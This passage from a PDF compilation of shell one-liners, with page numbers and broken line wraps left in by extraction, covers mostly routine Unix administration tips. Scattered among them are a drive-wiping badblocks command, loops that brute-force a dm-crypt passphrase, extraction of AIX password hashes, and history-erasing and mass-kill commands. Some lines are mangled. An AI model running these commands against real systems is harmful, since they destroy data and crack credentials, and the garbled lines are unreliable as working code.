set -x && PS4='+\t '
# avoid ssh hangs using jobs
for host in $HOSTNAMES; do ping -q -c3 $host && ssh $host 'command' & for count in {1..15};
do sleep 1; jobs | wc -l | grep -q ^0\$ && continue; done; kill %1; done &>/dev/null
# Batch rename files from the command line (in this case jpegs)
i=1; for f in *.[jJ][pP][gG]; do mv -- "$f" "$( printf "new_name_of_file-%04d.jpg" $i )";
((i++)); done
# Puts every word from a file into a new line
awk '{c=split($0, s); for(n=1; n<=c; ++n) print s[n] }' INPUT_FILE > OUTPUT_FILE
# A DESTRUCTIVE command to render a drive unbootable
badblocks -vfw /dev/fd0 10000 ; reboot
# Change the default Catfish file manager and search method
catfish --fileman=nautilus --path=/home/<username> --hidden --method=find
# Using commandoutput as a file descriptor
diff rpm_output_from_other_computer <(rpm -qa|sort)
# Generate a list of installed packages on Debian-based systems
aptitude search ~i -F %p
# Add command to bash history without executing it
history -s command
# Find files of particular size in a directory
find . -size +10240k -exec stat -c%s" "%n {} \; | sort -rn

# list unique file extensions recursively for a path, include extension frequency stats

335 / 658

All UNIX COMMANDS


find /some/path -type f | gawk -F/ '{print $NF}' | gawk -F. '/\./{print $NF}' | sort | uniq
-c | sort -rn
# Get last sleep time on a Mac
sysctl kern.sleeptime
# Find core files
find . -type f -regex ".*/core.[0-9][0-9][0-9][0-9]$"
# Read the Useless Use of Cat Awards page
elinks http://partmaps.org/era/unix/award.html
# Command to build one or more network segments - with while
seg() { echo -e "$1" | while read LINE; do for b in $(seq 10); do echo $LINE.$b; done; done;
}
# remove at jobs
atrm $(atq|cut -f1)
# Get a count of how many file types a project has
printf "\n%25s%10sTOTAL\n" 'FILE TYPE' ' '; for ext in $(find . -iname \*.* | egrep -o '\.
[^[:space:].]+$' | egrep -v '\.svn*' | sort -f | uniq -i); do count=$(find . -iname \*$ext |
wc -l); printf "%25s%10s%d\n" $ext ' ' $count; done
# Random mrxvt background
LIST="/some/pic/file /another/picture /one/more/pic"; PIC=$(echo $LIST | sed s/"\ "/"\n"/g |
shuf | head -1 | sed s/'\/'/'\\\/'/g ); sed -i s/Mrxvt.Pixmap:.*/"Mrxvt.Pixmap:\t$PIC"/
~/.mrxvtrc
# mplayer all flash videos being streamed in Chromium
mplayer $(ls -l /proc/$(pgrep -f flash)/fd/* |grep Flash | cut -d" " -f8)
# Convert phone book VCARD to text
tr -d "\r" < file.vcf | tr "\0" " " > file.vcf.txt
# Run git gc in all git repositories bellow .
find . -name .git -print0 | while read -d $'\0' g; do echo "$g"; cd "$g"; git gc
--aggressive; cd -; done
# Mount a VMware virtual disk (.vmdk) file on a Linux box
sudo mount vmware-server-flat.vmdk /tmp/test/ -o ro,loop=/dev/loop1,offset=32768 -t ntfs
# open emacs within terminal
emacs -nw
# Creates a customized search command
alias cr='find . 2>/dev/null -regex '\''.*\.\(c\|cpp\|pc\|h\|hpp\|cc\)$'\'' | xargs grep
--color=always -ni -C2'
# Alias for displaying a process tree nicely
alias pst='pstree -Alpha'
# Command to build one or more network segments - with for
seg() { for b in $(echo $1); do for x in $(seq 10); do echo $b.$x; done; done }
# force change password for all user
while IFS=: read u x; do passwd -e "$u"; done < /etc/passwd
# Greets the user appropriately

336 / 658

All UNIX COMMANDS


echo -e "12 morning\n15 afternoon\n24 evening" |awk '{if ('`date +%H`'<$1) {print "Good
"$2;exit}}'
# Posts a file to sprunge.us and copies the related url to the clipboard
sprunge () { curl -s -F "sprunge=@$1" http://sprunge.us | xclip -selection clipboard &&
xclip -selection clipboard -o; }
# Restore permissions or ownership from a backup directroy
for x in `find /dir_w_wrong_ownership/`; do y=`echo "$x" | sed
's,/dir_w_wrong_ownership/,/backup_dir/,'`; chown --reference $y $x; done;
# Get the name or user running the process of specified PID
ps -p pid -o logname |tail -1
# Remove color codes (special characters) with sed
sed -r 's/'$(echo -e "\033")'\[[0-9]{1,2}(;([0-9]{1,2})?)?[mK]//g'
# Remove all .svn directories recursively from a directory
find . -name '.svn' -type d | xargs rm -rf
# If
with
line
find

a directory contains softlinks, grep will give lot of warnings. So better use it along
find command so that softlinks are excluded. "Hn" operator will take care that both
number and filename is shown in grep output
/path/to/search/directory -exec grep -Hn "pattern" {} \;

# Locate command for MAC OSX


alias locate='if [ $((`date +%s`-`eval $(stat -s /var/db/locate.database); echo $st_mtime`))
-gt 3600 ]; then echo "locate: db is too old!">/dev/stderr; sudo
/usr/libexec/locate.updatedb; fi; locate -i'

# kvm disk info


while read X ; do printf "$X --"; virsh dumpxml $X | egrep "source dev|source file"; done<
<(virsh list | awk '$1 ~ /^[1-9]/ { print $2 }')
# open emacs with no init file
emacs -q
# Check the state of a service
sc query service_name
# Download German word pronounciation as mp3 file
for w in [WORT1] [WORTn]; do wget -O $w.mp3 $(wget -O "http://www.duden.de/rechtschreibung/$w" | grep -o "http://www.duden.de/_media_/audio/
[^\.]*\.mp3"); done
# the executable that started the currently running oracle databases and the ORACLE_HOME
relative to each
ps -ef |grep oracle |grep pmon |awk '{print $2}' |xargs -I {} ps eww {} |grep pmon |grep -v
grep |awk '{print $5 " " $6 " " $0}' |sed 's/\(S*\) \(S*\) .*ORACLE_HOME/\1 \2/g' |cut
-f1,2,3 -d" "
# Play files with mplayer, including files in sub-directories, and have keyboard shortcuts
work
mplayer -playlist <(find $PWD -type f)
# Iterate through screens
for pid in `screen -ls | grep -v $STY | grep tached | awk '{print $1;}' | perl -nle '$_
=~ /^(\d+)/; print $1;'`; do screen -x $pid; done

337 / 658

All UNIX COMMANDS


# Find all relevant certificates (excluding some dirs) and list them each
for crt in $(locate -r '.+\.crt' | grep -v "/usr/share/ca-certificates/"); do
done

ls -la $crt;

# Transcode an interlaced video


avconv -i interlaced.avi -c:v libx264 -preset slow -tune film -flags +ilme+ildct -c:a copy
transcoded.mp4
# Log Lines Per Second apache, nginx, haproxy and/or squid
tail -F /var/log/apache2/access.log | pv -N RAW -lc 1>/dev/null
# open emacs with different HOME
HOME=/home/sachin/another-emacs-home emacs
# Open current wallpaper on nautilus file-manager (change file-manager name for others)
gsettings get org.gnome.desktop.background picture-uri | xargs nautilus
# Print the list of all files checked out by Perforce SCM
alias opened='p4 opened | awk -F# "{print \$1}"'
# Create a multi-part RAR archive
rar a -v[SIZE] [archivename] [files]
# Get your external IP address
wget -qO - http://www.sputnick-area.net/ip;echo
# Create SSH key exchange from one host to the other
cat ~/.ssh/id_rsa.pub | ssh <remote_host> "xargs --null echo >> ~/.ssh/authorized_keys"
# Play back shell session recorded using the
(IFS=; sed 's/^[]0;[^^G]*^G/^M/g' <SessionLog> | while read -n 1 ITEM; do [ "$ITEM" = "^M" ]
&& ITEM=$'\n'; echo -ne "$ITEM"; sleep 0.05; done; echo)
# Summarize total storage used by files obtained by a find command
find /path/to/archive/?/??/??? -mtime -7 -name "*.pdf" | xargs stat -c "%s"| awk '{sum
+=$1}END{printf("%0.0f\n",sum)}'|sed -r ':Label;s=\b([0-9]+)([0-9]{3})\b=\1,\2=g;t Label'
# generate random password (works on Mac OS X)
env LC_CTYPE=C tr -dc "a-zA-Z0-9-_\$\?" < /dev/urandom | head -c 10
# grep for a list of values and list matching values NOT matching lines each time they match
goo some things you search for < file
# Realtime apache hits per second
tcpflow -c port 80 | grep Host
# Tracklist reaplace backspace to '-'
rename 's/ /-/g' *.mp3
# convert single digit to double digits
for i in [0-9].ogg; do mv {,0}$i; done
# Test against loopback address with the 0.0.0.0 default route.
telnet 0 <port>
# emacs: byte compile file
emacs --batch -Q -no-site-file -eval '(byte-compile-file "my-file.el")'

338 / 658

All UNIX COMMANDS


# You can access some-image.html where you include a image any other file than you can
access it through http using a browser (e.g. http://xxx.xxx.xxx.xxx:12345 )
cat some-image.html | nc -v -l -p 12345
# Batch Convert SVG to PNG (in parallel)
parallel convert {} {.}.png ::: *.svg
# Display PHP files that directly instantiate a given class
find . -name "*.php" -exec grep \-H "new filter_" {} \;
# Generate Files with Random Content and Size in Bash
no_of_files=10; counter=1; while [[ $counter -le $no_of_files ]];
do echo Creating file
no $counter;
dd bs=1024 count=$RANDOM skip=$RANDOM if=/dev/sda of=random-file.$counter;
let "counter += 1"; done
# List your Boxee queue
curl -u <username> http://app.boxee.tv/api/get_queue | xml2 | grep
/boxeefeed/message/description | awk -F= '{print $2}'
# diff recursively, ignoring CVS control files
diff -x "*CVS*" -r <path-1> <path-2> [<path-3>]
# Show directory sizes, refreshing every 2s
watch 'find -maxdepth 1 -mindepth 1 -type d

|xargs du -csh'

# intersection of two arrays


Array1=( "one" "two" "three" "four" "five" );Array2=( "four" "five" "six"
"seven" );savedIFS="${IFS}";IFS=$'\n';Array3=($(comm -12 <(echo "${Array1[*]}" |sort -u)
<(echo "${Array2[*]}" | sort -u)));IFS=$savedIFS
# Decompress all .tar.gz files and remove the compressed .tar.gz
for i in *.tar.gz; do tar -x -v -z -f $i && rm -v $i; done
# Delimiter Hunting
for i in `seq 0 9` A B C D E F; do for j in `seq 0 9` A B C D E F; do HEX=\$\'\\x${i}${j}\';
if ! eval grep -qF "$HEX" file; then eval echo $HEX \\x${i}${j}; fi; done; done 2> /dev/null
| less
# Tracklist reaplace backspace to '-'
perl -e 'for (<*.mp3>) { $old = $_; s/ /-/g; rename $old, $_ }'
# Perl check if library is installed
perl -e "use SOAP::Lite"
# Check if you need to run LaTeX more times to get the refefences right
egrep "(There were undefined references|Rerun to get (cross-references|the bars) right)"
texfile.log
# Create a mpeg4 video from a jpeg picture sequence (e.g. for pencil animation) , from the
current directory with mencoder
mencoder mf://*.jpg -mf w=800:h=600:fps=25:type=jpeg -ovc lavc -lavcopts vcodec=mpeg4 -oac
copy -o output.avi
# Show sorted list of files with sizes more than 1MB in the current dir
find . -maxdepth 1 -type f -size +1M -printf "%f:%s\n" | sort -t":" -k2
# show tcp syn packets on all network interfaces
tcpdump -i any -n tcp[13] == 2

339 / 658

All UNIX COMMANDS


# Count and show duplicate file names
find . -type f |sed "s#.*/##g" |sort |uniq -c -d
# print all characters of a file using hexdump
xxd <file>
# Displays user-defined ps output and pidstat output about the top CPU or MEMory users.
for i in $(ps -eo pid,pmem,pcpu| sort -k 3 -r|grep -v PID|head -10|awk '{print $1}');do diff
-yw <(pidstat -p $i|grep -v Linux) <(ps -o euser,pri,psr,pmem,stat -p $i|tail);done
# process lister/killer - no pgrep and pkill
_p(){ ps ax |grep $1 |sed '/grep.'"$1"'/d' |while read a;do printf ${a%% *}' ';printf "${a#*
}" >&2;printf '\n';done;}
# Revert all modified files in an SVN repo
for file in `svn st | awk '{print $2}'`; do svn revert $file; done
# List image attributes from a folder of JPEG images
for file in *.jpg; do identify -format '%f %b %Q %w %h' $file; done
# identify active network connections
lsof -i -P +c 0 +M | grep -i "$1"
# Remove duplicate lines using awk
awk '!($0 in array) { array[$0]; print }' temp
# Find all Mac Address
/sbin/lspci -v | grep -i "Device Serial Number"

# Find processes blocked on IO


while [ 1 ] ;do ps aux|awk '{if ($8 ~ "D") print }'; sleep 1 ;done
# Route some ips (or domain names) over VPN
sudo /sbin/route add -host 192.168.12.50 -interface ppp0
# log your PC's motherboard and CPU temperature along with the current date
date +%m/%d/%y%X|tr -d 'n' >>datemp.log&& sensors|grep +5V|cut -d "(" -f1|tr -d 'n'>>
datemp.log && sensors |grep Temp |cut -d "(" -f1|tr -d 'n'>>datemp.log
# Show a config file without comments
sed -e 's/#.*//;/^\s*$/d'
# touch every file in current folder and subfolder
find . -type f -exec touch "{}" \;
# new ssl key and csr based on a previous ssl certificate
regenerateCSR () { openssl genrsa -out $2 2048; openssl x509 -x509toreq -in $1 -out $3
-signkey $2; }
# Kill all processes belonging to a user
sudo -u $USER kill -9 -1
# Force all processes matching argument to close.
killall -HUP argument
# Use Growl to monitor your local apache error logs for new messages
/usr/bin/tail -fn0 /path/to/apache_error.log | while read line; do
/usr/local/bin/growlnotify --title "Apache Notice" --message "$line"; done &

340 / 658

All UNIX COMMANDS


# Add an "alert" alias for long running commands
alias alert='notify-send --urgency=low -i "$([ $? = 0 ] && echo terminal || echo error)" "$
(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/[;&|]\s*alert$//'\'')"'
# Copy with progress
gcp [source] [destination]
# Archive and compress a directory using gunzip compression
tar -zcvf archive_name.tar.gz directory_to_compress
# Automatically sync current git project with remote host while editing
while true; do rsync -vR $(git ls-files | inotifywait -q -e modify -e attrib -e close_write
--fromfile - --format '%w') user@host:dest/dir/; done
# count and number lines of output, useful for counting number of matches
ps aux | grep [h]ttpd | cat -n
# Create unique email addresses directly from the US census site*Full command in comments
paste -d "." <(curl http://.../dist.female.first http://.../dist.male.first | cut -d " " -f
1 | sort -uR) <(curl http://..../dist.all.last | cut -d " " -f 1 | sort -R | head -5163) |
tr "[:upper:]" "[:lower:]" | sed 's/$/@test.domain/g'
# find the device when you only know the mount point
df -P | awk '$6=="/media/KINGSTON" {print $1}'
# map a command over a list of files - map-files /lib *.so ls -la
function map-files() { find $1 -name $2 -exec ${@:3} {} \; }
# use md5sum -c recursively through subdirectory tree when every directory has its own
checksum file
for i in $(find . -name *md5checksum_file* | sed 's/\(\.\/.*\)md5checksum_file.txt/\1/'); do
cd "$i"; md5sum -c "md5checksum_file.txt"; cd -; done | tee ~/checksum_results.txt | grep -v
"<current directory>"
# Print without executing the last command that starts with...
^Rssh
# Change the terminal
tput setf 4

foreground color

# Show WebSphere AppServer uid|pid|cell|node|jvms


ps -ef | grep [j]ava | awk -F ' ' ' { print $1,"
} ' | sort -k4

",$2,"\t",$(NF-2),"\t",$(NF-1),"\t",$NF

# repeat a command every x seconds


while sleep 1; do foo; done
# Check where mail was sent from
grep cwd /var/log/exim_mainlog | grep -v /var/spool | awk -F"cwd=" '{print $2}' | awk
'{print $1}' | sort | uniq -c | sort -n
# Recursive find all mp4s in a folder and convert to ogv if the ogv does not exist or the
mp4 is newer then the current ogv
for file in $(find . -name *.mp4); do ogv=${file%%.mp4}.ogv; if test "$file" -nt "$ogv";
then echo $file' is newer then '$ogv; ffmpeg2theora $file; fi done
# Export/Backup a PostgreSQL database
pg_dump -U postgres [nomeDB] > db.dump

341 / 658

All UNIX COMMANDS


# shell alternative to 'basename'
echo ${file##*/}
# run vmware virtual machine from the command line without the gui or X session
vmrun start /path/to/virtual_machine.vmx nogui
# Get Futurama quotations from slashdot.org servers
curl -sI http://slashdot.org/ | sed -nr 's/X-(Bender|Fry)(.*)/\1\2/p'
# Show a config file without comments
grep -v ^# /etc/somefile.conf | grep .
# prips can be used to print all IP addresses of a specified range.
prips
# Capitalize first letter of each word in a string
echo 'fOo BaR' | ruby -e "p STDIN.gets.split.map(&:capitalize).join(' ')"
# Create an animated gif from a Youtube video
youtube-dl -o bun.flv http://www.youtube.com/watch?v=SfPLcQhXpCc; mplayer bun.flv -ss 03:16
-endpos 5 -vo jpeg:outdir=bun:quality=100:smooth=30:progressive -vf scale=320:240 -nosound;
convert -delay 4 -loop 0 bun/*.jpg bun.gif
# List files under current directory, ignoring repository copies.
function have_here { find "${@:-.}" -type d \( -name .git -o -name .svn -o -name .bzr -o
-name CVS -o -name .hg -o -name __pycache__ \) -prune -o -type f -print; }
# Let you vanish in the (bash) history.
export HISTSIZE=0
# Search in files
grep -i -h 'account.journal.cashbox.line' *.py
# Clear the screen and list file
alias cls='clear;ls'
# Remove files unpacked by unzip
zipinfo -1 aap.zip | xargs -d '\n' rm
# Remove blank lines from a file
grep -v "^$" file
# get a list of running virtual machines from the command line (vmware)
vmrun list
# bash glob dot-files
shopt -s dotglob
# Linux zsh one-liner to Determine which processes are using the most swap space currently
for i in $(ps -ef | awk '{print $2}') ; { swp=$( awk '/Swap/{sum+=$2} END {print sum}'
/proc/$i/smaps ); if [[ -n $swp && 0 != $swp ]] ; then echo -n "\n $swp $i "; cat /proc/
$i/cmdline ; fi; } | sort -nr
# List only directories, one per line
ls -l | grep ^d | sed 's:.*\ ::g'
# Makes you look busy

342 / 658

All UNIX COMMANDS


alias busy='rnd_file=$(find /usr/include -type f -size +5k | sort -R | head -n 1) && vim +$
((RANDOM%$(wc -l $rnd_file | cut -f1 -d" "))) $rnd_file'
# Get your outgoing IP address
echo -n $(curl -Ss http://icanhazip.com) | xclip
# w/o pgrep/pkill
_p(){ ps ax |grep $1 |sed '/grep.'"$1"'/d' |while read a;do printf ${a%% *}' ';printf "${a#*
}" >&2;printf '\n';done;}
# enable all bash completions in gentoo
eselect bashcomp enable --global $(eselect bashcomp list | sed -e 's/ //g'| cut -d']' -f2 |
sed -e 's/\*//'| xargs)
# the first command i type on fresh ubuntu
sudo apt-get install aptitude
# hello
hello, too
# cd Nst subdir
cdn() { cd $(ls -1d */ | sed -n $@p); }
# number the line of a file
cat -n file or cat -b file

# Find unused IPs on a given subnet


nmap -sP <subnet>.* | egrep -o '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' > results.txt ; for IP in
{1..254} ; do echo "<subnet>.${IP}" ; done >> results.txt ; cat results.txt | sort -n -t .
-k 1,1 -k 2,2 -k 3,3 -k 4,4 | uniq -u
# Skip banner on ssh login prompt
ssh -q user@server
# convert a string of hex characters into ascii chars
echo $hex | perl -pe 's/(..)/chr(hex($1))/ge'
# Print time and year of file in Solaris (or other Unix ls command that does not have a
simple "--full-list")
perl -e '@F = `ls -1`;while (<@F>){@T = stat($_);print "$_ = " . localtime($T[8]) . "\n";}'
# List all broadcast addresses for the routes on your host.
for net in $(ip route show | cut -f1 -d\ | grep -v default); do ipcalc $net | grep
Broadcast | cut -d\ -f 2; done
# List only directories, one per line
find . -maxdepth 1 -mindepth 1 -type d -printf "%f\n"
# download all jpg in webpage
curl -sm1 http://www.website.com/ | grep -o 'http://[^"]*jpg' | sort -u | wget -qT1 -i# Delimiter Hunting
perl -e '$f = join("", <>); for (0..127) {$_ = chr($_); if (/[[:print:]]/) {print if
index($f, $_) < 0}} print "\n"'
# hostgrep: set ip and hostname from /etc/hosts (non-DNS)

343 / 658

All UNIX COMMANDS


dng(){ local a;a=$(sed '/'"$1"'/!d' /etc/hosts |sed '=;'"${2-1,$}"'!d'|sed '/ /!d');echo $a|
tr '\040' '\n'|nl -bp'[0-9]$'|less -E;export dn=$(echo $a|sed 's,.* ,,');export ip=$(echo
$a|sed 's, .*,,');echo \$dn=$dn;echo \$ip=$ip;}
# The letter your commands most often start with
for i in {a..z}; do echo $(cat ~/.bash_history | grep ^$i.* | wc -l) $i; done | sort -n -r
# Backup all files matching a pattern to files with a timestamp
for FILE in *.conf; do cp $FILE{,.`date +%Y%m%dt%M:%H:%S`}; done
# Check SSH fingerprints
for id in `ls -1 ~/.ssh | grep -v "authorized\|known_hosts\|config\|\."` ; do echo -n "$id:
" ; ssh-keygen -l -f .ssh/$id ; done
# Show a calendar
cal [[month] year]
# Check the last 15 package operations (on yum systems)
tail -n 15 /var/log/yum.log | tac
# Replace words with sed
sed /BEGIN/,/END/s/xxx/yyy/g input.txt
# Frequency Sweep
l=500; x=500; y=200; d=-15;for i in `seq $x $d $y`; do beep -l $l -f $i;done
# skipping five lines, at top, then at bottom
seq 1 12 | sed 1,5d ; seq 1 12 | head --lines=-5
# Add another tty device using mknod command
sudo mknod /dev/ttyS4 c 4 68
# Convert Windows/DOS Text Files to Unix
flip -u <filenames>
# AIX : reset aixuser password lastupdate to now using perl
perl -e '$now=time; system "chsec -f /etc/security/passwd -s aixuser
-a \"lastupdate=$now\""'
# Read AIX local user encripted password from /etc/security/passwd
user=an_user awk "/^$user:\$/,/password =/ { if (\$1 == \"password\") { print \$3; } }" <
/etc/security/passwd
# Check if commands are available on your system
for c in gcc bison dialog bc asdf; do if ! which $c >/dev/null; then echo Required program
$c is missing ; exit 1; fi; done
# lsof - cleaned up for just open listening ports, the process, and the owner of the process
lsof -iTCP -sTCP:LISTEN
# Extracting the audio part of a track as a wav file
mplayer -vc null -vo null -ao pcm <filename>
# Rebuild a Delimited File with a Unique Delimiter
sed 's/$/uniqueString/' file.old | sed 's/,/\n/g' | sed ':loop;/^\"[^\"]*$/N;s/\n/,/;/[^\"]
$/t loop' | sed ':loop;N;s/\n/@/g;/uniqueString$/!b loop;s/uniqueString$//' > file.new

# Print all words in a file sorted by length

344 / 658

All UNIX COMMANDS


for a in $(< FILENAME); do echo "$(bc <<< $(wc -m<<<$a)-1) $a";done|sort -n
# Get your current Public IP
curl ifconfig.me
# Create an alias command that clears the screen and scroll back buffer (in putty and xterm)
alias clearscrollback='clear;printf %b "\033[3J"'
# Display the specified range of process information
ps aux | sort -n -k2 | awk '{if ($2 < 300) print($0)}'
# Bruteforce dm-crypt using shell expansion
for a in {p,P}{a,A,4}{s,S,5}{s,S,5}; do echo $a|cryptsetup luksOpen /dev/sda5 $a && echo KEY
FOUND: $a; done
# change to the selected directory for zsh users
alias scd='dirs -v; echo -n "select number: "; read newdir; cd -"$newdir"'
# View the octal dump of a file
od -vt x1 /tmp/spaghettifile
# Report What Tape is in Autoloader Mailslot (using Barcode Label)
mtx -f /dev/sg13 status | grep EXPORT | cut -c 56-63
# Print time and year of file in Solaris (or other Unix ls command that does not have a
simple
perl -e 'foreach (@ARGV) {@T=stat($_); print localtime($T[8])." - ".$_."\n"}'
# Search for classes in Java JAR files.
find . -name "*.jar" | while read line; do echo "### $line "; unzip -l $line; done | grep
"^###\|you-string" |less
# number files in directory according to their modification time
IFS=$'\n'; i=1; ls -lt *mp3 | cut -d ":" -f2 | cut -d " " -f2- | while read f; do mv "$f" $
(echo "$i"."$f"); ((i++)); done
# Command to import Mysql database with a progress bar.
pv -t -p /path/to/sqlfile.sql | mysql -uUSERNAME -pPASSWORD -D DATABASE_NAME
# Check remote hosts server
curl -Is http://www.google.com | grep -E '^Server'
# Remove dashes in UUID
UUID="63b726a0-4c59-45e4-af65-bced5d268456"; echo ${UUID//-/}
# List prime numbers from 2 to 100
for num in `seq 2 100`;do if [ `factor $num|awk '{print $2}'` == $num ];then echo -n "$num
";fi done;echo
# Removes all existing printers
lpstat -p | cut -d' ' -f2 | xargs -I{} lpadmin -x {}
# Open (in vim) all modified files in a git repository
vim `git status | grep modified | awk '{print $3}'`
# Auto complete options of a script, on tab press
_autoOptions() {
local cur=${COMP_WORDS[COMP_CWORD]}
COMPREPLY=( $(compgen -W "-fooOption --barOption -f -b" -- $cur) ) ;}; complete -F _autoOptions autoOptions
# Turn off and Stop multiple linux services with for loop

345 / 658

All UNIX COMMANDS


for i in rpcbind

nfslock

lldpad fcoe rpcidmapd; do service $i stop; chkconfig $i off; done

# Bruteforce dm-crypt using dictionary


cat dictionary.txt|while read a; do echo $a|cryptsetup luksOpen /dev/sda5 sda5 $a && echo
KEY FOUND: $a; done
# send files via ssh-xfer
cat somefilehere.txt | ssh-xfer nametocallfile.txt # Search gdb help pages
gdb command: apropos <keyword>
# Check syntax of all PHP files before an SVN commit
for i in `svn status | egrep '^(M|A)' | sed -r 's/\+\s+//' | awk '{ print $2 }'` ; do if [ !
-d $i ] ; then php -l $i ; fi ; done
# Overwrite local files from copies in a flat directory, even if they're in a different
directory structure
for f in $(find * -maxdepth 0 -type f); do file=$(find ~/target -name $f); if [ -n
"$file" ]; then cp $file ${file}.bak; mv $f $file; fi; done
# DVD to YouTube ready watermarked MPEG-4 AVI file using mencoder (step 1)
mencoder -oac mp3lame -lameopts cbr=128 -ovc lavc -lavcopts vcodec=mjpeg -o dvd.avi dvd://0

# cat a config file removing all comments and blank lines


grep -vh '^[[:space:]]*\(#\|$\)' <file>
# Get Stuff.
curl "http://www.commandlinefu.com/commands/matching/$(echo "$@" | sed 's/ /-/g')/$(echo -n
$@ | base64)/plaintext"
# lookup a short url with curl
curl -I -L http://t.co/mQUxL6yS
# Get ls to only show directories under .
ls -al | grep ^d
# Top Ten of the most active committers in git repositories
git shortlog -s | sort -rn | head
# Ping a range of numbered machines
c:\>for %t in (0 1 2 3 4 5 6 7) do for %d in (0 1 2 3 4 5 6 7 8 9) do ping -n 1
%d

machine-0%t

# Clear RAM cache


su -c 'sync; echo 3 > /proc/sys/vm/drop_caches'
# Convert any encoding to UTF8
iconv -f $(file -bi filename.ext | sed -e 's/.*[ ]charset=//') -t utf8 filename.ext >
filename.ext
# Serve one or more git repositories
git daemon --reuseaddr --verbose --export-all --base-path=/parent/of/bare/git/repos
# Which files/dirs waste my disk space
du -aB1m|awk '$1 >= 100'
# Show current folder permission recursively from /, useful for debugging ssh key permission

346 / 658

All UNIX COMMANDS


pushd .> /dev/null; cd /; for d in `echo $OLDPWD | sed -e 's/\// /g'`; do cd $d; echo -n "$d
"; ls -ld .; done; popd >/dev/null
# Sometimes you just want a quick way to find out if a certain user account is locked
[Linux].
awk -F":" '{ print $1 }' /etc/passwd | while read UU ; do STATUS=$(passwd -S ${UU} | grep
locked 2>/dev/null) ; if [[ ! -z ${STATUS} ]] ; then echo "Account ${UU} is locked." ; fi ;
done
# Remove comments and empty lines from a file
grep -v '^#\|^$' /etc/hdparm.conf
# delete all trailing whitespace from each line in file
sed 's/[ \t]*$//' < <file> > <file>.out; mv <file>.out <file>
# urldecoding
ls * | while read fin;do fout=$(echo -n $fin | sed -e's/%\([0-9A-F][0-9A-F]\)/\\\\\x\1/g' |
xargs echo -e);if [ "$fout" != "$fin" ];then echo "mv '$fin' '$fout'";fi;done | bash -x
# kills all php5-fcgi processes for user per name
pkill -9 -u username php5-fcgi
# Grabs Open Files and Then Greps Them
lsof | grep "stuff"
# faster replace sting with dd
:|dd of=./ssss.txt seek=1 bs=$(($(stat -c%s ./ssss.txt)-$(tail -n 2 ./ssss.txt|wc -c)))
# Hibernate after 30minutes
sudo bash -c "sleep 30m; pm-hibernate"
# Find all files matching 'name.xml' and search for 'text' within them
grep -nH "text" -r . --include *name.xml
# Check fstab volumes and volumes mounted.
diff <(cat /etc/fstab | grep vol | grep -v "^#" | awk '{print $1}') <(df -h | grep vol)
# Return the one-liner google response for queries like "12*24" or "what time is it in the
uk"
google() {
Q="$@"; GOOG_URL='https://www.google.com/search?q='; AGENT="Mozilla/5.0 (X11;
Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.152 Safari/537.36"
elinks -dump "${GOOG_URL}${Q//\ /+}" | grep "\*" | head -1 }
# svn diff $* | colordiff | lv -c
svn diff $* | colordiff | lv -c
# Sometimes you just want a quick way to find out if a certain user account is locked
[Linux].
getent shadow | while IFS=: read a b c; do grep -q '!' <<< "$b" && echo "$a LOCKED" || echo
"$a not locked"; done
# Averaging columns of numbers
function avg {
awk "/$2/{sum += \$$1; lc += 1;} END {printf \"Average over %d lines:
%f\n\", lc, sum/lc}"; }

# Show all Storage Repositories on XenServer


xe sr-list

347 / 658

All UNIX COMMANDS


# Check if SSL session caching is enabled on Google
gnutls-cli -V -r www.google.com |grep 'Session ID'
# Speed Up WAN File Transfer With Compression
ssh 10.0.0.4 "gzip -c /tmp/backup.sql" |gunzip > backup.sql
# Resolution of a image
identify image.jpg |grep -o "[[:digit:]]*x[[:digit:]]*" |tail -1
# find file(s) on disk
find / -name 'tofind.sh' 2>/dev/null
# Turn your monitor on or off or put into standby from the command line.
vbetool dpms [on|off|standby]
# Run a command on all servers using func
func "*" call command run "uname -i"
# test console colors
( x=`tput op` y=`printf %$((${COLUMNS}-6))s`;for i in {0..256};do o=00$i;echo -e ${o:${#o}3:3} `tput setaf $i;tput setab $i`${y// /=}$x;done; )
# Arch Linux sort installed packages by size
pacman -Qi | grep 'Name\|Size\|Description' | cut -d: -f2 | paste
'{ print $2, "\t", $1, "\t", $3 }' | sort -rn

- - - | awk -F'\t'

# encrypt, split and get ready for dvd a large file via tar and ccrypt
tar czf - /directory/to/tar | ccrypt -k yourpassword | split -b50m - /final/encrypted.cpt
# cpanel umount virtfs mounts
for i in `cat /proc/mounts | grep /home/virtfs | cut -d ? ? -f 2 ` ; do umount $i; done
# find . -name "*.txt" | xargs sed -i "s/old/new/"
find . -name "*.txt" | xargs sed -i "s/old/new/"
# Set the master volume to 90% (Ubuntu)
aumix -v 90
# Sometimes you just want a quick way to find out if a certain user account is locked
[Linux].
getent shadow | grep '^[^:]\+:!' | cut -d: -f1
# Get IPv4 of eth0 for use with scripts
/sbin/ifconfig eth0 | grep 'inet addr:' | awk {'print $2'} | sed 's/addr://'
# delete all leading and trailing whitespace from each line in file
sed 's/^[ \t]*//;s/[ \t]*$//' < <file> > <file>.out; mv <file>.out <file>
# Make sure your script runs with a minimum Bash version
if [ -z "${BASH_VERSINFO}" ] || [ -z "${BASH_VERSINFO[0]}" ] || [ ${BASH_VERSINFO[0]} -lt
4 ]; then echo "This script requires Bash version >= 4"; exit 1; fi
# controls mpg321 play/pause/stop by signals
pkill -{signal} mpg321
# copy public key
ssh-copy-id host
# Lists all clients of a Squid proxy
awk '{a[$3]++} END {for(i in a) print i}' /var/log/squid/access.log

348 / 658

All UNIX COMMANDS


# This little command edits your gitignore from anywhere in your repo
vim $(git rev-parse --show-toplevel)/.gitignore
# How to find all open files by a process in Solaris 10
for i in `pfiles pid|grep S_IFREG|awk '{print $5}'|awk -F":" '{print $2}'`; do find / -inum
$i |xargs ls -lah; done
# Put files back together after encrypted with tar and ccrypt
cat file.gz.cpt *[a-z] | ccdecrypt -k yoursecretpassword | tar -xzf # find an X11 window by its title and highlight it
xdotool search --name Thunderbird set_window --urgency 1 %@
# TCP and UDP listening sockets
netstat -tunlapo

# Maven Install 3rd party JAR


mvn install:install-file -Dfile=<path-to-file> -DgroupId=<group-id> -DartifactId=<artifactid> -Dversion=<version> -Dpackaging=<packaging> -DgeneratePom=true
# Randomize lines (opposite of | sort)
cat ~/SortedFile.txt | perl -wnl -e '@f=<>; END{ foreach $i (reverse 0 .. $#f) { $r=int rand
($i+1); @f[$i, $r]=@f[$r,$i] unless ($i==$r); } chomp @f; foreach $line (@f){ print
$line; }}'
